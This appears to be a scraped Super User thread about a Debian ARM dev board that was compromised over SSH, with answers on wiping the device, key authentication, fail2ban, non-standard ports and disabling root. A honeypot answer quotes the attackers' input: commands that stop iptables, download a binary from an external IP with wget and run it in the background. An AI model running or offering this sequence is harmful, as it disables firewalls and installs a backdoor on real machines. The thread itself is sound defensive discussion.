@MariusMatutiae You may be interested to know that over at security SE there was a decent debate a while back about whether changing the ssh port from the default is a good measure or something that causes more headaches that it's worth. See http://security.stackexchange.com/questions/32308/should-i-change-the-default-ssh-port-on-linux-servers?s=2%7C1.7584 FWIW, I come down on the same side that you do. It can obviously be defeated by an attacker making a full port scan. But at least the ubiquitous scan/attack bots, which almost always stick to scanning common/default ports, will fail.

– mostlyinformed – 2016-02-03T11:03:39.277

2@halfinformed I agree with you. It is clear that whoever is doggedly serious about harming someone won't be deterred by such measures, but it will at least keep botnet administrators away. Thanks for point out the reference, the downsides to changing ssh port all refer to people dealing with lots of clients, services, large organizations. None of that influences the discussion for individual users. – MariusMatutiae – 2016-02-03T11:09:25.000

"you managed to record the whole, live session of an intruder on your pc" - which indicates that the intruder him/herself is not an expert. – Thorbjørn Ravn Andersen – 2016-02-03T21:13:49.850

1

Important note: OpenSSH DISABLED DSA in release 7 (by default; you can still re-enable it in the config, but obviously you only should do so until you rekey). The recommended options are RSA and ed25519.

– Jan Hudec – 2016-02-05T10:02:53.057

I believe openssh does not use that implementation though. Anyway, @MariusMatutiae, would you update the commands in this answer to recommend ed25519 instead then? – Jan Hudec – 2016-02-05T10:16:57.763

1Lots of good advice here. I cannot download the malware, so was not able to check this, but given the mention of OP developing an embedded system, and the hostname containing "armhf", I would not be surprised if the malware was an x86 binary which did not work on the ARM device. – Wodin – 2016-02-06T06:43:22.417

@Wodin Yes, quite right: that's exactly what I implied, without explicitly saying it, when I mentioned that, if the attacker was really doing a compilation, it meant that he had understood the source of his problems and the computer was gone for good. – MariusMatutiae – 2016-02-06T06:47:16.623

1Definitely right about the problem with downloading the file and having to make it, it was probably built for x86 or possibly x64 but the build in the logs shows it is an ARM build so presumably for a raspberry pi or similar. – James Snell – 2016-02-07T14:15:38.760

1@vaid Hey, if the attacker downloaded source code for their trojan onto your machine, what are the odds that you can recover that code (from the commands they typed)? Would be really neat to get actual, functional source code for an in-the-wild trojan for analysis and defense purposes. (Could also just be fun to study the code style of a prototypical Chinese trojan developer!) – nneonneo – 2016-02-07T19:32:37.277

1@nneonneo Agreed, but you will have to ask vaid, not me: he does not give any more details than those you read above, like me. – MariusMatutiae – 2016-02-07T19:34:44.417

I uploaded a zip file containing the binary, however I don't recall seeing any source code anywhere. And unfortunately I wiped the system without backing anything up so I can't go back and check if there's any source code available. Here's a fun project for anyone interested: setup a raspberry pi with ssh and a standard root password such as "debian", go to your router setting and forward port 22 and occasionally check the logs for suspicious activity and try to catch the hacker. As I've understood it, the hackers are constantly active scanning for targets. – vaid – 2016-02-07T20:44:57.510

My system used to have a username and password as "debian", that's the way they breached the system. My system is basically a small dev board. An Olimex A10 Lime 4GB to be exact. Also, why do you guys think that the attacker downloaded the actual source code? Is there anything in the logs that indicate that the attacker did so? – vaid – 2016-02-07T20:47:44.153

1Might it be the line that says ./yd_cd/make? That file was not downloaded because yd_cd is my own software which I am developing. It's just a coincidence that I named it similarly to their naming convention with "Y" at the start. However it does indicate that the attacker was working on my device as I was actually developing my software. Kind of scary to be honest. – vaid – 2016-02-07T20:54:00.827

Ah, I see. Too bad, I guess you don't have source for his trojan. (Maybe you should have made clear which log items were from him) – nneonneo – 2016-02-07T22:27:59.413

@nneonneo The logs in the OP are vaid's, those in my post are mine. – MariusMatutiae – 2016-02-08T07:50:11.590

@MariusMatutiae can you comment on the effectiveness of using DenyHosts (auto-populates /etc/hosts.deny) as a brute-force preventer? Does this make use of an SSH password (rather than key) safer? – davidA – 2016-02-09T03:45:25.220

@meowsqueak Using DenyHosts instead of crypto keys is a bit like: I can leave this weakness since I am covering for it with this other, distinct feature. I do not subscribe to this point of view, because it never occurs that the two features cover exactly the same ground. For instance, I am often away from home, and I wish to connect to my work/home pcs, but I do not know a priori the IPs I will be connecting from: DenyHosts then does not help me, but crypto keys do. Also, if an intruder gains access to my LAN, keys still help while DenyHosts does not. – MariusMatutiae – 2016-02-09T04:23:10.710

@MariusMatutiae ok, I was thinking more from preventing a brute-force attack, in that a hosts.deny entry is created if a wrong password is entered more than 3 times from a single IP address. It seems to me like it might help in those cases where a password is required (e.g. where security of private key cannot be assured). – davidA – 2016-02-09T04:26:28.547

2@meowsqueak Oh, but then a better, and much more modern solution, is fail2ban, which does this for just about any application, postfix, https, ssh, and so on. This definitely helps, I use it myself. Still, the point remains: so long as you have passwords, you have to find ways to compensate for their intrinsic weakness. Keys have no such weakness. – MariusMatutiae – 2016-02-09T04:32:04.473

141

Welcome to the Internet - where any open SSH server is likely going to get probed, brute-forced, and have various indignities inflicted upon it.

To start, you need to completely wipe the storage on the product. Image it if you want to pass it on for forensics, but the Linux install on it is now suspect.

Bit of guesswork but

  1. You got brute-forced or use a common password. It's security by obscurity but you don't want a dictionary password or to use a root account open to SSH. Disable root SSH access if it's an option or at least change the name so they need to guess both. SSHing as root is terrible security practice anyhow. If you must use root, log in as another user and use su or sudo to switch.

  2. Depending on the product, you might want to lock down SSH access in some way. A total lock-down sounds like a good idea, and allows users to open it up as needed. Depending on what resources you can spare, consider only allowing IP addresses in your own subnet, or some kind of login throttling system. If you don't need it on the final product make sure it's turned off.

  3. Use a non standard port. Security by obscurity again, but it means an attacker needs to target your port.

  4. Do not ever use a default password. The best approach I've seen is to randomly generate a password for a specific device and ship it with your product. Best practice is key based authentication, but I've no idea how you'd approach that on a mass market product.

Journeyman Geek

Posted 2016-02-01T11:21:48.690

Reputation: 119 122

76 start="5">

  • Use public key auth if at all possible. Password auth is far, far less secure.
  • < – Bob – 2016-02-01T13:29:06.770

    4Yeah, but if its a consumer device, it might not be an option. On a dev box, that sounds like a brilliant idea. On a server, well, I did get hacked before ;p – Journeyman Geek – 2016-02-01T13:31:52.480

    2If it is consumer device then the same random password or key on all of them is also a bad idea. As is anything based on its serial number, its MAC or otherwise identifiable information. (Something which many SoHO modem/routers/WAPs seem to have missed). – Hennes – 2016-02-01T14:53:47.207

    2It is a consumer device. However, the vast majority of the targeted consumer will not be educated enough to know what SSH is. So SSH can be turned off and will most likely be turned off. – vaid – 2016-02-01T15:39:25.253

    I would say #1) "Use a public Key". #2 "Use a Password? refer to #1"... #3) "Use something that doesn't allow? Keep away from open internet by any means possible" #4) "Can't keep it away? Keep it away from your internal network by any means possible" – WernerCD – 2016-02-01T18:45:48.453

    I would like to point out that what @Bob said is true even if you use a strong password. No matter how strong your password is, it will still be more secure to use public key authentication. That is because public key authentication provide an extra layer of defense against mitm-attacks. And it is harder for an attacker to intercept a password that you don't send to the server. – kasperd – 2016-02-01T21:38:13.433

    2

    Also, use fail2ban.

    – Shadur – 2016-02-02T05:29:37.327

    I used to work for a company that produced Linux based firewall boxes. Each one had remote support (SSH) disabled by default, and a unique SSH key and SSL certificate which we recorded during production right after the test stage. So yes, consumer boxes can be secure. – Zan Lynx – 2016-02-02T17:06:55.370

    very great read! And yes its nice to be able to read a lot like this. – NetworkKingPin – 2016-02-02T17:11:27.813

    An open SSH is not the problem, force brute is not a viable alternative and even dictionary attacks is not viable for most cases. However, here we are talking about a security flaw of the system. – magallanes – 2016-02-02T18:40:57.313

    That is incorrect Welcome to a terrifying new world

    – Journeyman Geek – 2016-02-02T22:39:57.047

    1@Bob If a password is suitably complex (say 16 random chars and symbols etc) and therefore not brute-forcable, then what is the security advantage of using a key? (Genuine question - I'm not disagreeing) – NickG – 2016-02-04T13:35:44.323

    Also, doesn't SSH use public keys for authenticating the server to the client, even when the client is using a password instead of a key to authenticate to the server? That protects against MiTM, so that leaves only brute force, and I honestly don't see how brute force is feasible here if you're using a secure password. (Though just using a public key is probably a lot easier than choosing and remembering a secure password.) – Ajedi32 – 2016-02-04T14:38:39.753

    1

    Ah, so I looked into a bit more and apparently using public key authentication for the client actually provides some protection against MiTM even if the client fails to check the host key. So there is some additional security benefit to using public key auth for SSH: http://www.gremwell.com/ssh-mitm-public-key-authentication (I guess that answers your question, @NickG.) That particular attack vector didn't seem to be involved in this case anyway though, and it's not actually important as long as you always check the host key.

    – Ajedi32 – 2016-02-04T14:54:37.663

    1@NickG In the event of a compromised server, your password is exposed. That might be fine if you never reuse the password, e.g. have a proper password manager, etc.. A public key never exposes your private key, so you can use the same private key to authenticate to multiple servers without worry (and you can password-protect said private key, with the password only visible locally). End of the day, with enough external assistance (no reuse, password manager) a password can be equal to a public key. (This does not include some vulns that may leak the private key ... very unlikely but possible). – Bob – 2016-02-04T15:16:07.130

    1Thing is, pubkey is secure almost by default. Password auth requires a security-conscious individual to pick a strong password and never reuse it. In real life, the vast majority of password auth probably does not meet those requirements. Therefore, recommending pubkey is usually easier. – Bob – 2016-02-04T15:16:57.103

    Bob and Alice knows cryptography very well ;) – kiran – 2016-02-04T16:37:21.920

    35

    Oh, you have been definitely hacked. Someone appears to have been able to gain root credentials and attempted to download a Trojan to your system. MariusMatutiae provided an analysis of the payload.

    Two questions arise: a) Was the attacker successful? And b) what can you do about it?

    The answer to the first question may be a no. Notice how the attacker repeatedly tries to download and run the payload, apparently without success. I suspect that something (SELinux, perchance?) stood in his way.

    HOWEVER: The attacker also altered your /etc/rc.d/rc.local file, in the hope that when you restart your system, the payload will be activated. If you have not yet restarted the system, don't restart until you have removed these alterations from /etc/rc.d/rc.local. If you have already restarted it... well, tough luck.

    As to what you can do about it: The safest thing to do is to wipe the system and reinstall from scratch. But this may not always be an option. A significantly less safe thing to do is to analyze exactly what happened and wipe every trace of it, if you can. Again, if you have not yet restarted the system, perhaps all it takes is clean /etc/rc.d/rc.local, remove anything downloaded by the attacker, and last but not least, change the darn password!

    However, if the attacker was already able to run the payload, there may be other modifications to your system that may be difficult to detect. Which is why a complete wipe is really the only safe (and recommended) option. As you indicated, the equipment in question may be a test/development target so perhaps wiping it is not as painful as it may be in other cases.

    Update: Notwithstanding what I wrote about a possible recovery, I wish to echo MariusMatutiae's very strong recommendation not to underestimate the potential damage caused by this payload and the extent to which it may have compromised the target system.

    Viktor Toth

    Posted 2016-02-01T11:21:48.690

    Reputation: 887

    2Thanks. I have decided to wipe the system. I restarted it a couple of times but just to copy some essential data. No binaries, only source code. I guess I'm pretty safe now. – vaid – 2016-02-02T02:36:44.890

    What about other boxes on the same LAN? – WGroleau – 2016-02-02T14:44:33.300

    Good question. The shell history that was provided does not indicate any attempts to discover and compromise other boxes on the same network. More generally, if the attacker gains SSH (root) access to a box, it basically means the he has bypassed any perimeter firewalls. However, it does not automatically imply that other boxes are compromised: that would require something else like an unpatched vulnerability, passwords shared between boxes, auto-login from one box to another, etc. – Viktor Toth – 2016-02-02T15:28:52.820

    19

    My sshd-honeypot has also seen this kind of attack. First Downloads from that URL started 2016-01-29 10:25:33 and attacks are still ongoing. Attacks are/were coming from

    103.30.4.212
    111.68.6.170
    118.193.228.169
    

    Input from these attackers was:

    service iptables stop
    wget http://222.186.30.209:65534/yjz1
    nohup /root/yjz1 > /dev/null 2>&1 &
    chmod 0777 yjz1
    chmod u+x yjz1
    ./yjz1 &
    chmod u+x yjz1
    ./yjz1 &
    cd /tmp
    

    So no activities other than installing the backdoor for later on.

    Gunther Nitzsche

    Posted 2016-02-01T11:21:48.690

    Reputation: 191

    Agreed, it is the same MO. – MariusMatutiae – 2016-02-02T10:48:46.747

    1@MariusMatutiae So this isn't a manual hack then? It's some kind of self spreading worm/bot? – NickG – 2016-02-04T13:38:44.747

    1@NickG My best guess is that this was not a manual hack. What is the probability that vaid works in the same office as the originator of a China-based botnet? Someone found an exploitable weakness in his machine, most likely a weakly secured ssh server, brute-forced his password, gained access, tried to install himself surreptitiously. However, I would also bet that the attacker is more fluent with Windows than with Linux. But I have no hard proof of this, just an educated guess. – MariusMatutiae – 2016-02-04T14:00:44.833

    13

    Everyone here has offered solid advice, but to be clear, your priorities should be backing up and verifying what you truly need from that system, then wiping it with a fresh install from known-safe media.

    Before you connect your newly installed host to the Internet, run through these ideas:

    1. Create a new non-root user, and log in as that user. You should never need to login as root, just sudo (substitute user do) when needed.

    2. Install SE Linux, configuration settings that enable mandatory access control: https://wiki.debian.org/SELinux/Setup

    3. Consider a hardware firewall between your office/home and the Internet. I use MicroTik, which has excellent community support: http://routerboard.com/.

    Assuming you are on a timeline for completing your paid work, at least do #1. #3 is fast, and cheap, but you'll either need to wait on the package in the mail, or drive to the store.

    pyn

    Posted 2016-02-01T11:21:48.690

    Reputation: 131

    3And, above all, do not leave your pc running unattended with an open root session! – MariusMatutiae – 2016-02-02T10:32:59.313

    12

    1. Is debian-armhf your hostname? Or do you use a default install with default settings? There is no problem with that, but you shouldn't allow the host to be directly exposed to the Internet (i.e. not protected by your modem, at least).

    2. It looks like the real trouble is coming from 222.186.30.209 (see http://anti-hacker-alliance.com/index.php?ip=222.186.30.209). You shouldn't pay much heed to seeing Microsoft's IP. IPs can more or less be faked/spoofed rather easily.

    3. A usual way to connect to the Internet is to forward a known list of ports from your public IP (e.g. 8.8.8.8) to your local (e.g. 192.168.1.12).

      • For instance, do not forward all incoming connections from 8.8.8.8 (public) to 192.168.1.12 (local).

      • Forward only ports 22 and 25 (ssh and incoming mail, respectively). You should, of course, have up-to-date ssh and smtp packages/libraries as well.

    4. What's next? Disconnect the host, and change any passwords (on any computers associated with the organisation) that are hardcoded in shell scripts (shame on you!) in /etc/shadow.

    Archemar

    Posted 2016-02-01T11:21:48.690

    Reputation: 1 547

    >

  • Yes debian-armhf is the host name. 2. Yes I have read that article, and I contacted Microsoft via their website cest.microsoft.com. 3. I had only forwarded 25 and 22, there was nothing else forwarded. 4. I will do that
  • < – vaid – 2016-02-01T15:42:01.120

    "IP can be fake more or less easily": I am not a security nor network expert. How is that possible? – kevinarpe – 2016-02-03T03:14:10.557

    @kevinarpe That is probably much better off as a separate question. – a CVn – 2016-02-03T08:52:52.723

    2@Archemar: SSH is TCP; faking TCP source IP is difficult if not impossible. Plus, as established above, the Microsoft IP belongs to their cloud service Azure, which means anyone could have been buying time on the service to attack others. – nneonneo – 2016-02-07T19:29:12.737

    @nneonneo Or a legitimate Azure user had their system compromised, which was then being used to attack others. – reirab – 2016-02-08T21:14:00.690

    10

    As others stated, it's pretty clear the security of your server has been compromised. The safest thing is to wipe this machine and re-install.

    To answer the second part of your question, if you can't use public key auth, I recommend at least setting up Fail2Ban and running SSH on a non-standard port. I also disable root SSH access.

    Fail2Ban will help mitigate brute-force attacks by banning IP addresses that fail to log in a certain number of times.

    Setting sshd to listen on a non-standard port will at least help reduce the visibility of your SSH server a tiny bit. Disabling root logon also reduces the attack profile slightly. In /etc/sshd_config:

    PermitRootLogin no
    Port xxxxx
    

    With root login disabled you will need to either switch to root with su once you've connected, or (more preferably) use sudo to execute privileged commands.

    Nate H

    Posted 2016-02-01T11:21:48.690

    Reputation: 101

    I have done both of those, thanks for the advice. – vaid – 2016-02-03T06:20:17.273

    9

    SSH servers are constantly under attack on the internet. A couple of things you do:

    1. Make sure you use a very secure random password, for internet accessible machines. I mean like 16 characters or more and completely random. Use a password manager so you don't have to memorize it. If you can memorize your password, it's too simple.

    2. If you don't need SSH, turn it off. If you do need it, but don't need it publicly accessible, run it on a high, non-standard port number. Doing this will dramatically reduce hack attempts. Yes a dedicated hacker can do a port scan, but automated bots won't find it.

    The snippet from your auth log shows a failed attempt. However if you look further you'll no doubt see a successful login. It you use a simple password, then it's trivial for a bot to get in.

    You need to isolate this machine from the network. Very carefully get what you need off it, and then wipe it.

    user1751825

    Posted 2016-02-01T11:21:48.690

    Reputation: 846

    7When I used to run ssh on port 22, I would typically have thousands of hack attempts per day. When I changed to a high port number (over 50000) these hack attempts completely stopped. – user1751825 – 2016-02-02T00:00:01.490

    16 characters isn't secure enough. User log out is also handy. Just don't make it a perm lockout, make it expire, but make it something like an hour. This way you can still access the server. – Ramhound – 2016-02-02T00:17:23.577

    Note that step 2) is not strictly necessary for security, as long as you have strong authentication (public key, or a strong password). – user253751 – 2016-02-02T00:17:44.090

    2@Ramhound Why not? Even if it was only lowercase letters, 16 lowercase letters gives 43608742899428874059776 possibilities, which is impractical to brute-force, especially for an online brute-force where the server makes you wait every time you fail an attempt. – user253751 – 2016-02-02T00:18:57.293

    3@user20574. While not strictly necessary, reducing the visibility of the SSH service is still very helpful. Even if for no other reason than to remove clutter from your logs. If a machine only needs to be accessible to a limited group of people, then a non-standard port is a perfectly reasonable step to improve security. – user1751825 – 2016-02-02T00:26:53.703

    As others have mentioned. You shouldn't really be using your password to login anyway. Using keys is more convenient, and much more secure. – user1751825 – 2016-02-02T00:29:04.693

    Thanks for the advice. I will change change the port number and user a much longer upper+lowercase+digits password. Alternatively I'll use a key, any links to some article that instructs on how to use a key for SSH? – vaid – 2016-02-02T02:38:21.060

    @vaid This seems reasonably comprehensive... https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys--2

    – user1751825 – 2016-02-02T03:57:08.953

    7

    The first thing anyone/everyone should do after setting up a front-facing Linux/Unix server is to immediately disable root.

    Your system was compromised. You have a running history log which might be cool to look at to an extent. But honestly dissecting the specifics is a bit nit-picky and won’t help you secure your server. It shows all kinds of nonsense that happens when botnet spawned malware—which is most likely what infected your server—infects a Linux system. The answer provided by @MariusMatutiae is nice and well thought out and there are others who repeat that you were hacked via root access which is a malware/botnet’s wet dream.

    There are a few explanation on how to disable root but I will state from personal experience, most anything that goes beyond what I will describe right now is overkill. This is what you should have done when you first setup the server:

    1. Create a new user with sudo rights: Create a new user with a new name—something like cooldude—using a command like sudo adduser cooldude if you are using Ubuntu or another type of Debian system. Then just manually edit the sudo file using a command like this sudo nano /etc/sudoers and add a line like cooldude ALL=(ALL:ALL) ALL beneath the equivalent line that should read root ALL=(ALL:ALL) ALL. With that done, login as cooldude and test the sudo command with a command like sudo w—something basic and non-destructive—to see if the sudo rights work. You might be prompted for a password. That works? All good! Move onto the next step.
    2. Lock the root account: Okay, now that cooldude is in charge with sudo rights, login as cooldude and run this command to lock the root account sudo passwd -l root. If somehow you have have created an SSH key pair for root, open up /root/.ssh/authorized_keys and remove the keys. Or better yet, just rename that file authorized_keys_OFF like this, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF to effectively disable the SSH keys. I prefer the later because on the off-hand chance you still need password less login, you can just move that file back to the original name and you should be good to go.

    FWIW, I have managed dozens of Linux servers over the years (decades?) and know from experience that simply disabling root—and setting up a new user with sudo rights—is the simplest and most basic way to secure any Linux system. I’ve never had to deal with any type of compromise via SSH once root is disabled. And yes, you might see attempts to login via the auth.log but they are meaningless; if root is disabled then those attempts will never add up to anything. Just sit back and watch the attempts endlessly fail!

    JakeGould

    Posted 2016-02-01T11:21:48.690

    Reputation: 38 217